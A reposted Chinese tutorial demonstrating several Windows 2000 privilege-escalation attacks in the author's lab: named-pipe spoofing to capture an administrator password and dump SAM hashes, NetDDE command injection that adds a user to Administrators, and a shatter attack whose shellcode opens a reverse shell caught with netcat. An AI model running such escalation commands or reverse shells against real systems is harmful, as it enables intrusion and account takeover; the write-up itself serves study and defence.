在W2K中提升权限的几个攻击实例之成败心得

讲到exploit都会涉及到提升权限的问题，所谓提升权限就是利用系统的漏洞来获得更高的privilege。比如说，你用一般用户的账号登录windows nt/windows 2000后，你就只能作有限的操作，却不能加减用户，不能往系统目录中存写文件等等；但等到你通过系统的漏洞获得了administrator或者local system的权限以后，你也就可以作这些事了。我研究exploit的时间并不是很长，但看到有关在windows操作系统中提升权限的方法与实例还真不少。刚才到google上用关键词“microsoft”、“windows”、“privilege”、“elevation”去搜索一下，居然返回3000多个结果。要知道，这还只是公布出来的部分，江湖中还有很多必杀绝技是不轻易示人的。要想在这里详细地介绍所有windows中提升权限的方法，我的功力是远远不够的----估计相当于丐帮一袋弟子的水平而已。所以呢，这一章所针对的读者应该是丐帮的入门弟子，如果你们哪位功力要用两个以上的麻袋来装的话，请尽管跳过这一章。我在选择这一章的exploit例子时，有意选择针对w2k操作系统、附带有源程序的例子，这样方便大家在自己的机器上试验。这些exploit并不是每个都成功，但是我感觉它们有不少可借鉴之处，可以通过学习它们来了解黑客的思路，从而提高自己的反入侵能力。记住我的机器dallas是w2k service pack 1，如果你们的计算机运行不同版本的w2k service pack，这些exploit可能需要改动。顺便说一句，实际上在第一章里面我们已经提到一种在unix或者linux中提升权限的方法，就是去exploit超级用户root所有的、具有suid位的执行程序。在windows操作系统中，没有suid这种说法，但是有一种runas服务(service)进程可以提供类似于suid的功能，而且是有可能被exploit的。利用windows 2000中的named pipe来提升权限windows 2000中的runas服务进程可以让用户甲以用户乙的权限运行程序，这类似于unix和linux系统中suid位功能。w2k中的一个api：createprocesswithlogonw就利用了runas服务进程，用户甲调用这个createprocesswithlogonw时把用户乙的账号(account)、域(domain)、密码(password)提交给windows操作系统作authentication，如果authentication成功，那么就接着运行指定的程序，而且这个程序运行时具有用户乙的权限。createprocesswithlogonw api的定义如下：bool createprocesswithlogonw(lpcwstr , // 用户乙的账号(account)lpcwstr , //用户乙的域(domain)lpcwstr , // 用户乙的密码(password)dword , // logon optionlpcwstr , // executable module namelpwstr , // command-line stringdword , // creation flagslpvoid , // new environment blocklpcwstr , // current directory namelpstartupinfow , // startup informationlpprocess_information // process information);那么createprocesswithlogonw是如何把用户乙的账号信息传给runas服务进程的呢？在windows操作系统中有很多interprocess communication的方法，大概最常见的就是 pipe了。我们在上一章对iis的exploit中也用到了pipe，不过那是没有名字的pipe (anonymous pipe)；在这里createprocesswithlogonw是用有名字的pipe(named pipe)与runas联络的，这个named pipe就是“\\.\pipe\secondarylogon”。到目前为止，一切都正常。大家要问：runas的漏洞在哪里呢？它的漏洞是如何被exploit的呢？根据radix team的解释：当用户甲用createprocesswithlogonw创建具有用户乙权限的进程时，它是不会核实“\\.\pipe\secondarylogon”的server端究竟是连通到runas进程还是连通到其它的进程。如果runas服务进程在某一时刻停止运行的话，黑客进程可以趁机创建一个也叫“\\.\pipe\secondarylogon”的named pipe，然后黑客进程就假装成runas服务进程在pipe的server端等着接受信息。接着我们无辜而无知的用户甲调用createprocesswithlogonw了，它也不先调查一下named pipe另一端的进程身份，就把用户乙的账号信息由伪造的named pipe传了过去，传呀传，传呀传，一直传到黑客程序的耳朵里。radix team还编写了一个exploit程序radix1112200101，这个程序把通过named pipe “\\.\pipe\secondarylogon”传来的用户乙账号信息(包括用户名、域名、密码)统统显示出来。限于篇幅，我就不转载这个程序了，大家可以到他们的网站去看。不过这里我准备演示一下在dallas上如何使用radix1112200101来获得dallas本地域(local domain)的超级用户administrstor的密码。被exploit的程序(就是因为使用createprocesswithlogonw而泄密的家伙)叫radixvictim.cpp，它以超级用户administrator的权限启动一个notepad程序。<==========================radixvictim.cpp===============================>// radixvictim.cpp : defines the entry point for the application.//#define _win32_winnt 0x0500#define unicode#include #include #include #include int apientry winmain(hinstance hinstance,hinstance hprevinstance,lpstr lpcmdline,int ncmdshow = sw_show){// todo: place code here.lpcwstr lpusername = l"administrator"; // user's namelpcwstr lpdomain = l"dallas"; // user's domainlpcwstr lppassword = l"moda"; // user's passworddword dwlogonflags = logon_netcredentials_only; // logon optionlpcwstr lpapplicationname = l"d:\\winnt\\notepad.exe"; lpwstr lpcommandline = l"notepad.exe"; // command-line stringdword dwcreationflags = create_new_console; // creation flagslpvoid lpenvironment = null; // new environment blocklpcwstr lpcurrentdirectory = null; // current directory namestartupinfo startupinfo; // startup informationprocess_information processinfo; // process informationbool ret;zeromemory(&startupinfo, sizeof(startupinfo));startupinfo.cb = sizeof(startupinfo);zeromemory(&processinfo, sizeof(processinfo));ret = createprocesswithlogonw(lpusername, lpdomain, lppassword, dwlogonflags, lpapplicationname, lpcommandline, dwcreationflags, lpenvironment, lpcurrentdirectory, &startupinfo, &processinfo );if (! ret ) exitprocess (getlasterror()) ;return 0;}<================================================================>在伪造named pipe之前，必须关闭runas的“\\.\pipe\secondarylogon”，要不然运行radix1112200101会得到permission denied之类的错误。我先以超级用户administrator登录dallas，然后从administrative tools->services中终止runas服务进程 (一般的情况下，只有超级用户administrator才能终止runas服务进程)。这样runas拥有的“\\.\pipe\secondarylogon”就关闭(close)了。再以我的一般用户账号moda登录dallas，接着运行radix1112200101伪造一个新的named pipe “\\.\pipe\secondarylogon”。d:\myjob\securitylab\radix\debug>radix1112200101created pipe and waiting for clients...怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢？我们可以使用pipelist程序，这是我从sysinternals网站下载的宝贝之一，它能列出系统中所有的named pipe：d:\myjob\tool\pipelist\release>pipelistpipelist v1.01by mark russinovichhttp://www.sysinternals.compipe name instances max instances--------- --------- -------------initshutdown 2 -1lsass 5 -1ntsvcs 50 -1scerpc 2 -1net\ntcontrolpipe1 1 1dhcpclient 1 -1net\ntcontrolpipe2 1 1winsock2\catalogchangelistener-194-0 1 1net\ntcontrolpipe3 1 1spoolss 2 -1。。。。。。。。。。。。。。net\ntcontrolpipe21 1 1tapsrv 2 -1router 2 -1wmiep_2ac 2 -1wmiep_154 2 -1secondarylogon 1 10d:\myjob\tool\pipelist\release>你们看到，最后一个named pipe就是radix1112200101刚刚伪造secondarylogon。现在运行radixvictim。对於这个程序，用户甲就是无辜而无知的“moda”，而用户乙就是超级用户administrator。请注意exploit程序radix1112200101的输出：d:\myjob\securitylab\radix\debug>radix1112200101created pipe and waiting for clients...read 4 bytes. (ascii dump)>? read 318 bytes. (ascii dump)□? ? 8x j □ □? ? ? - -? a d m i ni s t r a t o r? d a l l as ? m o d a* d: \ w i n n t \n o t e p a d .e x e ? n ot e p a d . e xe ld h lw i n st a 0 \ d e f au l t _d:\myjob\securitylab\radix\debug>你们可以看到，超级用户administrator的信息(包括密码)全部都被radix1112200101接收到了。得到administrator的账号信息后，再提升权限就易如反掌了！这个exploit的关键在于：第一，named pipe的名字是广为人知的，黑客的named pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充；第二，createprocesswithlogonw在使用named pipe之前并没有核实named pipe的server端进程，它不管server端是连通到runas进程还是到其它的进程。类似的这样问题是在windows操作系统中是广泛存在的，再看下面的例子：我是在网站http：//www.dogmile.com上看到的这个例子的，作者为maceo。根据maceo的研究，windows 2000操作系统广泛使用了named pipe来控制(或者说管理)服务进程，包括象clipbook服务进程呀、telnetd服务进程呀等等，而且这些named pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建named pipe的话，服务进程启动时会直接连接到黑客的named pipe上，於是黑客程序就可以通过impersonatenamedpipeclient()取得服务进程的权限(缺省设置为local system权限)。那么，黑客是怎样猜到这些named pipe的名字的呢？很简单，他是从registry中查询到的，在下面的地址：hkey_local_machine\system\currentcontrolset\control\servicecurrent如果servicecurrent的双字值(dword value)是x，那么服务进程所用到的named pipe的名字就是“\\.\pipe\net\ntcontrolpipe(x 1)”，这也就是黑客要伪造的named pipe的名字。maceo给出了几个exploit程序，我下面就在dallas上演示其中的一个----pipeup。这个exploit程序首先从registry中取得下一个服务进程要使用的named pipe名字，然后抢先创建这个named pipe；紧接着它启动服务进程clipbook，由于clipbook启动后会主动连接这个伪造的named pipe，於是pipeup就通过函数impersonatenamedpipeclient而获取了local system的账号权限(因为clipbook一般以local system的账号运行)。这样进程pipeup就有足够的权限把local system在security account manager(sam)中的信息读出来。你们可以从网站http：//www.dogmile.com下载这个exploit的源程序，这里限于篇幅我就不转载这个程序了(画外音：其实是限于版权)。先以administrator的账号登录dallas，把clipbook服务进程停止。再以一般用户moda登录，运行exploit程序pipeup，下面是pipeup运行及exploit的结果：d:\myjob\securitylab\pipeup\debug>pipeupthe clipbook service is not started.more help is available by typing net helpmsg 3521.impersonating: systemdumping sam for rid 500 ...f:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffffff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a000000v:0x00000000a800000002000100a80000001a00000000000000c40000000000000000000000c40000006c000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000008000000010000003801000014000000000000004c0100001400000000000000600100000400000000000000640100000400000000000000010014808800000098000000140000003000000002001c000100000002c01400440005010101000000000001000000000200580003000000000014005b03020001010000000000010000000000001800ff070f00010200000000000520000000200200000000240044000200010500000000000515000000dde8e41c32621f2a8aa7323ff40100000102000000000005200000002002000001020000000000052000000020020000410064006d0069006e006900730074007200610074006f00720000004200750069006c0074002d0069006e0020006100630063006f0075006e007400200066006f0072002000610064006d0069006e006900730074006500720069006e0067002000740068006500200063006f006d00700075007400650072002f0064006f006d00610069006e000102000007000000010001001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29011d882f0100010001000100d:\myjob\securitylab\pipeup\debug>大家看了上面两个例子有什么想法呢？肯定有人会觉得这些exploit有“做弊”的嫌疑：一方面，在radix1112200101(或pipeup)运行之前，runas(或clipbook)服务进程都必须先终止运行，这样黑客进程才有可能伪造named pipe，才有机会窃取administrator(或local system)的账号信息；而另一方面，黑客必须先取得至少administrator的权限才能终止runas(或clipbook)进程。这两个方面看起来是互为前提条件的，是个无解的“deadlock”。实际上，我在securityfocus网站上看到microsoft针对exploit程序radix1112200101的回复，它指出这个exploit是两难的，现实中不太可能发生。要实现这个exploit确实有些难度，但是这并不等于不会发生！假如某个服务进程有bugs，象缓冲区溢出呀、signal不当reentrant呀等等，那么在运行中这个服务进程就有可能被黑客故意整垮掉(crash)，然后黑客就可以伪造它的named pipe，再利用上面的exploit程序提升其权限。而且有时候我们并不需要先终止服务进程，我在microsoft的security bulletins网站上找到一个例子----编号为ms01-031的一篇文章 “predictable name pipes could enable privilege elevation via telnet”。中文大意是说：当你通过telnet远程联线到windows 2000系统中的telnetd服务进程时，telnetd会创建一个新的named pipe，同时运行这个named pipe携带的初始化程序。由于这个named pipe的名字是可以猜到的(predictable)，所以黑客可以抢先用猜到的名字创建这个named pipe，同时让这个named pipe携带黑客码作为初始化程序；当telnetd服务进程发现这个named pipe已经存在时，它既不重新创建一个新的named pipe，也不核实一下这个named pipe的创建者是否可以信赖(trustable)，相反，它直接使用这个named pipe，并且把其携带的黑客码当成初始化程序运行。由于在缺省设置的情况下，telnetd服务进程具有local system的权限，所以黑客码也将以这个最高的权限横冲直撞。microsoft的文章并没有告诉我们这个可以猜得到的named pipe名字是什么----这是可以理解的，毕竟谁也不会开门掬盗。不过我在dallas上作了个试验：分别联结两个telnet session到dallas上，然后用pipelist程序观察在telnet后named pipe的变化情况：d:\myjob\tool\pipelist\debug>pipelistpipelist v1.01by mark russinovichhttp://www.sysinternals.compipe name instances max instances--------- --------- -------------initshutdown 2 -1lsass 5 -1ntsvcs 52 -1scerpc 2 -1net\ntcontrolpipe1 1 1。。。。。。。。。。tapsrv 2 -1router 2 -1wmiep_644 2 -1wmiep_2c8 2 -1net\ntcontrolpipe28 1 1telnetd\000001fc.00000000 1 1telnetd\000001fc.00000001 1 1telnetd\000001fc.00000002 1 1telnetd\000001fc.00000003 1 1上面用黑体字标出来的named pipe：net\ntcontrolpipe28属于telnetd服务进程，而telnetd\000001fc.00000000与telnetd\000001fc.00000001属于第一个telnet session，telnetd\000001fc.00000002与telnetd\000001fc.00000003属于第二个telnet session。如果这时有第三个用户telnet进来的话，telnetd要用到的named pipe名字将会是telnetd\000001fc.00000004与telnetd\000001fc.00000005，我敢赌100块钱！！！你们看到，这个例子并不需要终止任何服务进程，理论上说你只需要具有一般用户账号就可以提升你的权限到local system级别：先以一般用户账号伪造named pipe并让它附带黑客码作为初始化程序，然后以同一账号远程联线到象dallas这样的机器上，telnetd服务进程会主动运行你附带在named pipe上的黑客码，而且你的黑客码是以local system权限运行。利用windows 2000中的dynamic data exchange来提升权限：我是在www.atstake.com网站的security advisory栏目(2001年2月版)看到这篇文章：“netdde message vulnerability”，作者是dildog。搞这一行有些日子的人大概都看过他的另一篇非常有名、非常经典的文章：“the tao of windows buffer overflow”；这篇文章被其他人引用的次数很多，如果拿这篇文章的引用率来评职称，肯定是非常的solid----就是很硬的意思！在那一篇文章中，他详细地介绍了在windows nt系统中如何发现netmeeting的缓冲区溢出，如何一步一步编写黑客码去exploit这个缺口(vulnerability)。实际上，在前面两章的exploit试验中我所用到的罗马大道“jmp esp”，以及函数指令表都直接或间接地借鉴了他的思路。有兴趣的朋友可以到下面的网页去拜读一下这篇大作： http://www.cultdeadcow.com/cdc_files/cdc-351/好，回到正题：如何利用dynamic data exchange来提升权限？我们曾经提到过，在windows操作系统有多种interprocess communication的方法，named pipe是常见的一种，而dynamic data exchange(dde)则是另一种常见的方法，它是通过共享内存来实现不同进程间的动态数据交换。这些动态交换的数据叫dde share，它们由dde server创建并由network dde dsdm (dde share database manager)服务进程管理。你可以在dos窗口下运行命令ddeshare来显示你计算机上的dde share，常见的dde share有chat$、clpbk$、hearts$。当管理dde share的network dde dsdm服务进程运行时，winlogon会在当前登录用户的desktop产生一个隐藏式的window，这个隐藏式的window名字为"netdde agent"，是一个"nddeagnt"类的window class，它的功能在于协助dde server程序及dde client程序之间的数据交换。由于它由winlogon创建，这个window的进程就以local system的权限运行在登录用户的desktop上，只不过用户看不到它而已。"netdde agent"还有另外一个辅助功能：当dde client试图连接到一个trueted的dde share时，如果"netdde agent"发现创建这个dde share的dde server尚未运行，它会主动启动这个server。记住"netdde agent"进程是具有local system权限的，所以它启动server没有一点问题。根据dildog的研究，这个隐藏式的"netdde agent"就是一个缺口(vulerability)！还记得window操作系统中的函数sendmessage()吗？登录用户可以利用这个函数向desktop上的任何window发送message，即使这个window不属于当前登录用户。所以黑客在以一般用户的身份登录后，可以用sendmessage()发送一个wm_copydata message给"netdde agent"，这个message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容：1。 一个trusted dde share的名字，比如说chat$；2。 一个用于启动dde server的命令，如果"netdde agent"发现创建chat$的dde server尚未运行，就根据这个命令来启动dde server。但是黑客可以任选一个命 令来伪造，比如说“net localgroup administrators /add 阿猫”----这里的阿 猫已经是合法的一般用户了；3。 一些固定不变的字节。dildog认为是这些字节应该是随机产生的，而不应该固定 不变。我个人理解这些字节是用于向"netdde agent"或network dde dsdm证明 wm_copydata message是由合法程序(而不是黑客程序)发出的，所以它们应该随机 变化而不让黑客轻易得到。当"nddeagnt"接收到wm_copydata message时，它核对后会发现第三部分的字节正确无误，而且trusted dde share确实存在，於是它就执行黑客命令，由于"nddeagnt"具有local system权限，它可以顺利地让阿猫同志光荣地加入本地administrator group。dildog在文章中还附带了一个exploit程序netddemsg，我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地administrators group的：/*先以我的用户账号“moda”登录dallas。看看本地administrators group有哪些成员：*/d:\myjob\securitylab\netddemsg\debug>net localgroup administratorsalias name administratorscomment administrators have complete and unrestricted access to the members-----------------------------------------------------------------------------a_maoadministratorthe command completed successfully./*本地administrators group目前只有两个成员，administrator和a_mao。试着把“moda”加入到本地administrators group中：*/d:\myjob\securitylab\netddemsg\debug>net localgroup administrators /add modasystem error 5 has occurred.access is denied./*我的权限显然不够，所以得到error 5。运行dildog的exploit程序，同时附带上我的黑客命令：*/d:\myjob\securitylab\netddemsg\debug>netddemsg -s chat$ net localgroup administrators /add moda/*程序运行结束，让我们看看“moda”是否加入本地administrators group：*/d:\myjob\securitylab\netddemsg\debug>d:\myjob\securitylab\netddemsg\debug>net localgroup administratorsalias name administratorscomment administrators have complete and unrestricted access to the members-----------------------------------------------------------------------------a_maoadministratormodathe command completed successfully.d:\myjob\securitylab\netddemsg\debug>/*我也光荣地加入了本地administrators group*/利用windows 2000/intel中的debug register来提升权限：我是在georgi guninski的个人网站(http://www.guninski.com)上看到这篇文章：“elevation of privileges with debug registers on win2k”，介绍如何利用intel x86中的debug register来获取local administrator的权限。我的运气不太好，用文章中的exploit程序pipe3试了几次也不能成功，不过觉得利用debug register来攻击是个新的思路，所以就在这里顺便介绍一下。intel x86的debug register(dr0-dr7寄存器)是所有进程共用的。也就是说，你在一般用户进程中下一个绊子(就是设置一个断点)，没准会把某个系统进程或者服务进程(service)绊一跤；这一跤要是把系统/服务进程摔垮了，导致它停止执行的话，你没准就可以伪造该进程的named pipe；然后当有其它进程企图通过named pipe与垮掉的系统/服务进程联络时，黑客就可以利用函数impersonatenamedpipeclient来窃取其它进程的权限----这很可能就是local system的权限。文章中的exploit程序pipe3(请从网站http://www.guninski.com下载)就是按照这个思路设计的：它要整垮的进程是lsass，所以必须先找几个lsass进程将要运行的指令的地址，以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路，我们才好在那条路上设绊脚石)；然后pipe3以一般用户的权限运行程序calc(计算器)，并在其中设置断点，因为这断点的地址是在lsass运行的途径上，所以它们并不会影响calc进程；过不了多久lsass就会有报告“singlestep exception”并让你选择是中断lsass运行还是debug lsass进程；选择中断lsass以便关闭lsass拥有的named pipe----\'5c.\pipe\lsass"，这样pipe3就可以伪造一个同名的named pipe；。。。。。。这以后的几步我想就不用重复了，大家都应该清楚。下面说说我exploit的情况：先用windbg找到lsass可能要运行的指令地址，lsass有多个thread，我从不同thread的esp寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让pipe3在这些地址分别设断点，总有那么一个地址会成功地中断lsass程，并且产生一个warning对话框(dialog box)报告“singlestep exception”。当我选择中断进程后， lsass退出执行，pipe3报告“lsa died!”：d:\myjob\securitylab\pipe3\debug>pipe3fun with debug registers. written by georgi guninskivvdr started: lsasspid=240 breakp=5ffebclsa died!stop writing to pipestart \\.\pipe\lsassfailed to create named pipe:\\.\pipe\lsass由于lsass是重要的系统进程，它的终止运行将使系统在一分钟内自动shutdown。另外我们注意到， \\.\pipe\lsass并没有成功地创建。为什么呢？我抢在系统shutdown之前运行了一下pipelist：d:\myjob\securitylab\pipe3\debug>pipelistpipelist v1.01by mark russinovichhttp://www.sysinternals.compipe name instances max instances--------- --------- -------------initshutdown 2 -1lsass 2 -1ntsvcs 49 -1scerpc 2 -1net\ntcontrolpipe1 1 1dhcpclient 1 -1net\ntcontrolpipe2 1 1。。。。。。。。。。。。。。。。很奇怪，虽然lsass进程终止运行，但是它的named pipe还在----这大概是pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系，我没能深入研究这个问题，不过哪位朋友要是用pipe3成功地实现exploit的话，不要忘记告诉我一声！不过话又说回来，这种利用debug register来终止lsass进程的方法----即使成功的话，也太暴露了：整个系统居然会shutdown！任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了，正如我轻轻的来”，要象伟大的诗人兼武林高手徐自摩那样施展一把轻功，让傻瓜管理员根本发现不了，当然耳朵厉害的管理员还是会发现的----“谁？有黑客！抓黑客！”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的，这就不是我能评论的了。利用win32 api的设计缺陷提升权限：几个星期以前我在计算机安全网站上看到两篇新发表的文章：<>、<>，作者是chris paget(网名foon)，我建议大家去下面的网址读一下他的原著：http://security.tombom.co.uk/shatter.htmlhttp://security.tombom.co.uk/moreshatter.html。这两篇文章详细地介绍了如何利用win32 api的一个设计缺陷来提升普通用户的权限。我们前面也提到，普通用户的进程可以向他/她的desktop上任何window发送message，让目标window执行用户指定的操作，比如说copy/paste(拷贝/沾贴)、定时运算(timer)等等。这个window可能属于用户自己，也可能属于local system(象"netdde agent")----这样问题就来了：---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的，所以我们要算上“它”)在 他的desktop上先找到一个属于local system的window，我们给这个window起一个 名字叫windowxyz，这个windowxyz上最好有能接收沾贴内容的control(比如说 edit)；---- 用户可以把黑客码用“wm_paste”(message之一)沾贴到windowxyz的control里；---- 用户找到被沾贴的黑客码在windowxyz进程中的地址；---- 用户然后发送“wm_timer”(message之二)给windowxyz，同时把黑客码地址作为 参数一并传给windowxyz，windowxyz於是执行定时运算，开始运行黑客码。这些 黑客码是以local system的权限运行的，所以普通用户的权限被成功地提升。---- 实际上，根据foon的文章，即使普通用户在其desktop上找不到属于local system的window，他也有办法提升权限：他可以利用tool help函数得到属于 local system的进程及其thread，只要其中任何一个thread能处理window的 message，用户就可以用函数postthreadmessage()向这个属于local system的 thread发送message，然后就。。。如此这般。。。地提升权限。不过我没有时间 亲手试验过这种方法。这两篇文章引起了很大的反响，其中最引人注意的是microsoft的答复，micorsoft说这种方法老早就有人提出来了，nothing new！又说根本就不应该在普通用户的desktop上创建属于local system的window，编程序的人应该避免这样的设计。但实际上隐藏式的窗口"netdde agent"就出自于microsoft的设计，它属于local system但是却运行在登录用户的desktop上，看来microsoft是知法犯法啊！我觉得这个缺陷就象不安全的函数strcpy一样，c语言在实现strcpy函数时有漏洞 (函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块，缓冲区的溢出就会覆盖系统管理信息)，於是大家寄希望于程序员能够避免使用函数strcpy。现在microsoft也承认在普通用户的desktop上创建一个window是危险的，所以它也寄希望于大家编程时避免使用这样的设计。下面我专门编写了一个服务进程“simpleservice”来演示一下microsoft的这个设计缺陷。simpleservice以local system的权限运行，它打开一个named pipe然后等待named pipe client与它联络；普通用户接着登录计算机并运行程序“client”，“client”是一个named pipe client；它向simpleservice的named pipe随便写一些字节，於是simpleservice就在登录用户的desktop上产生一个对话窗口(dialog box)。普通用户最后利用foon的攻击程序shatter攻击这个对话窗口来获得“local system”的权限。因为simpleservice程序太长，所以我只节选了关键的部分让大家参考：<=======================simpleservice==========================>#define szappname _t("simple")#define szservicename _t("simpleservice")#define szservicedisplayname _t("simple service")#define szdependencies _t("")typedef struct dlgparam{uint numofhit;tchar *msg;} dlgparam;// internal function prototypesstatic bool callback dialogproc(hwnd hwnd, uint umsg, wparam wparam, lparam lparam);// simpleservice.cpp : defines the entry point for the application.//hinstance happinstance;dlgparam m_dlgparam;int apientry winmain(hinstance hinstance,hinstance hprevinstance,lpstr lpcmdline,int ncmdshow){......}void winapi service_main(){......}void winapi service_ctrl(dword dwctrlcode){......}bool winapi controlhandler ( dword dwctrltype ){......}handle hserverstopevent = null;void servicestart (){............hpipe = createnamedpipe(lpszpipename , // name of pipefile_flag_overlapped |pipe_access_duplex, // pipe open modepipe_type_message |pipe_readmode_message |pipe_wait, // pipe io type1, // number of instances0, // size of outbuf //(0 == allocate as necessary)0, // size of inbuf1000, // default time-out value&sa); // security attributes............while ( 1 ){............connectnamedpipe(hpipe, &os);............bret = readfile(hpipe, // file to read fromszin, // address of input buffersizeof(szin), // number of bytes to read&cbread, // number of bytes read&os); // overlapped stuff, not needed............_stprintf(szout, _t("please check the dialog box"));_stprintf(szout1, _t("eacho back! [%s]"), szin);............bret = writefile(hpipe, // file to write toszout, // address of output buffersizeof(szout), // number of bytes to write&cbwritten, // number of bytes written&os); // overlapped stuff, not needed............ disconnectnamedpipe(hpipe);m_dlgparam.numofhit ;m_dlgparam.msg = szout1;/*在登录用户的desktop上创建一个窗口*/int result = dialogboxparam(happinstance,makeintresource(idd_svcmsg), null,(dlgproc) dialogproc,(lparam) &m_dlgparam);}cleanup:............}void servicestop(){if ( hserverstopevent )setevent(hserverstopevent);}#define sizeofbuf 40/*window的message handler*/bool callback dialogproc(hwnd hwnd, uint umsg, wparam wparam, lparam lparam){dlgparam* l_pdlgparam = (dlgparam*) lparam;char tempbuf[sizeofbuf];switch (umsg){case wm_initdialog:{hwnd hnumvisit = getdlgitem(hwnd, idc_numhit);/*限定edit control的尺寸(size)为3*/sendmessage( hnumvisit, em_limittext, (wparam) 3, (lparam)0);_itoa(l_pdlgparam->numofhit, tempbuf,10);sendmessage(hnumvisit, wm_settext, (wparam) 0,(lparam)tempbuf);hwnd hmsg = getdlgitem(hwnd, idc_msg);/*限定edit control的尺寸(size)为40*/sendmessage( hmsg, em_limittext, (wparam) sizeofbuf, (lparam)0);sendmessage( hmsg, wm_settext, (wparam) 0, (lparam) l_pdlgparam->msg ); setforegroundwindow(hwnd);return false;}case wm_command:{switch (loword(wparam)){case idc_ok:enddialog(hwnd, idc_ok);return false;default:return false;}}}return false;}<==============================================================>下面是程序client.c，非常简单，它的功能仅仅是向“\\.\pipe\simple”发送几个字节：<==========================client==============================>// client.cpp : defines the entry point for the console application.//#include #include #include #include int main(int argc, char* argv[]){char inbuf[80];char outbuf[80];dword bytesread;bool ret;lpstr lpszpipename = "\\\\.\\pipe\\simple";lpstr lpszstring = "world";strcpy( outbuf, lpszstring );ret = callnamedpipea(lpszpipename,outbuf, sizeof(outbuf),inbuf, sizeof(inbuf),&bytesread, nmpwait_wait_forever);if (!ret) {printf("client: callnamedpipe failed for %d\n", getlasterror());exit(1);}printf("client: received: %s\n", inbuf);return 0;}<==============================================================>foon编写了一个攻击工具shatter，大家可以参考他的文章来使用这个工具，而且他的网站上还有shatter的源程序。这个程序专门攻击象simpleservice这样会创建window的服务进程，它首先把window中edit control的尺寸(size)扩大，然后把可执行的黑客码沾贴到edit中，这样就把黑客码拷贝到这个window进程的内存中了----很cool吧！接下来我们就要寻找黑客码在内存中的地址，foon是用windbg去寻找这个地址的，详情请参考他的文章。最后shatter向window进程发送一个定时执行message----“wm_timer”，迫使window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成，它产生一个远程的cmd shell联结回到client机器上，所以我们可以用鼎鼎有名的netcat程序与它联络。我现在来演示一下使用shatter攻击simpleservice的过程，看看普通用户“moda”是如何通过shatter提升权限的：先以普通用户“moda”登录，看看本地administrators组当前的成员：microsoft windows 2000 [version 5.00.2195](c) copyright 1985-1999 microsoft corp.d:\myjob\tool\netcat>net localgroup administratorsalias name administratorscomment administrators have complete and unrestricted access to the members-----------------------------------------------------------------------------administratorthe command completed successfully.本地administrators组只有administrator一个成员。我们试一下能不能把“moda”加入到本地administrators组。d:\myjob\tool\netcat>net localgroup administrators /add modasystem error 5 has occurred.access is denied.很惨呀，得了一个“access is denied.”的错误。下面运行程序client，向simpleservice发送几个字节，於是simpleservice在普通用户“moda”的desktop上产生一个对话框：这个对话框上有两个edit controls，一个对应着“number of hit”，这里输出simpleservice的named pipe被访问的次数；一个对应着“message back”，这里输出simpleservice的message。这两个edit都可以被攻击利用，不过我这里以“message back”的edit为例。让我们运行foon的攻击程序shatter：第一步：我们需要扩大edit的尺寸(size)。大家从simpleservice的源程序中可以看到，“message back”的edit只允许40个char，而jill的黑客码显然超过了这个长度，所以我们就通过shatter向这个edit的柄handler发送em_setlimitext，把它的尺寸扩大到0xffffffff(见下图)。第二步：把foon改编的jill黑客码拷贝到clipboard上，然后往edit发送wm_paste，你可以看到edit中马上堆积了一长串乱七八糟的字符，这就是jill黑客码。第三步：利用windbg去寻找jill黑客码在window内存中的地址，这个过程foon已经讲得很清楚了，所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。第四步：另外打开一个dos窗口运行netcat，我们准备与打入敌营的侦察兵jill联络：d:\myjob\tool\netcat>d:\myjob\tool\netcat>nc -lp 123第五步：向edit发送wm_timer，让window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容，它输出一些版权信息。d:\myjob\tool\netcat>d:\myjob\tool\netcat>nc -lp 123microsoft windows 2000 [version 5.00.2195](c) copyright 1985-1999 microsoft corp.第六步：现在你就可以通过netcat与window进程中的cmd shell联系，可以向它发送命令，从它那里得到命令运行结果。这个cmd shell具有local system的权限，所以我们可以轻易地把普通用户“moda”加入到本地administrators组中：d:\winnt\system32>net localgroup administrators /add modanet localgroup administrators /add modathe command completed successfully.d:\winnt\system32>net localgroup administratorsnet localgroup administratorsalias name administratorscomment administrators have complete and unrestricted access to the members-----------------------------------------------------------------------------administratormodathe command completed successfully.d:\winnt\system32>d:\winnt\system32>以上就是我演示microsoft这个缺陷的过程，虽说我有意把simpleservic设计得易于黑客攻击，但实际上还有不少的流行的程序也是犯了同样的错误，象foon文章中提及的network associates virusscan v4.5.1, 还有我最喜欢用的winvnc等等，它们都在普通用户的desktop上创建了一个具有local system权限的window。各位，编程序时要记住不要在阿猫阿狗的desktop上创建window啊！如果你给它们机会，阿猫阿狗也会成精的！结尾的话：提升权限的方法还有很多种，比如说可以直接用破密码的软件来获得administrator的密码、可以利用系统进程缓冲区溢出来运行更高权限的黑客码等等，我这里只是挂一漏万地介绍其中几个。原作者：不详来 源：不详=========================文章类型:转载 提交:№哈迪嘶№ 核查:netdemon

如对本文有疑问， 点击进行留言回复！！